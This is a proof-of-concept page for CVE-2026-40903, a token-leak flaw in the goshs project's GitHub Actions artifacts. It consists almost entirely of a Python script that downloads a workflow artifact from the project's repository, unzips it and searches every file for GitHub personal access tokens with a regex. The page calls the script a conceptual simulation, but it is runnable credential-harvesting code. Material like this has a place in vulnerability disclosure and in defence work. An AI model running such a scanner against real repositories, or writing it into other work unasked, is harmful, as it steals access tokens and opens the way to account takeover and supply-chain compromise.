CVE-2026-40903 goshs ArtiPACKED漏洞致Token泄露

#!/usr/bin/env python3 """ PoC for CVE-2026-40903 (ArtiPACKED) This script demonstrates how a leaked token might be found in workflow artifacts. Note: This is a conceptual simulation as the specific artifact URL depends on the target repo context. """ import requests import zipfile import io import re # Simulated artifact URL (In a real scenario, this would be a specific GitHub Actions artifact URL) ARTIFACT_URL = "https://github.com/patrickhener/goshs/suites/1234567890/artifacts/123456" GITHUB_TOKEN_PATTERN = re.compile(r"ghp_[a-zA-Z0-9]{36}") def check_artifact_for_token(url): print(f"[*] Attempting to download artifact from: {url}") try: # In a real attack, no authentication is needed if artifacts are public response = requests.get(url) if response.status_code == 200: print("[+] Artifact downloaded successfully.") # Assuming the artifact is a zip file with zipfile.ZipFile(io.BytesIO(response.content)) as z: for filename in z.namelist(): print(f"[*] Checking file: {filename}") with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') matches = GITHUB_TOKEN_PATTERN.findall(content) if matches: print(f"[!] CRITICAL: Found potential GitHub Token in {filename}: {matches}") return True print("[-] No tokens found in this artifact.") else: print(f"[-] Failed to download artifact. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": check_artifact_for_token(ARTIFACT_URL)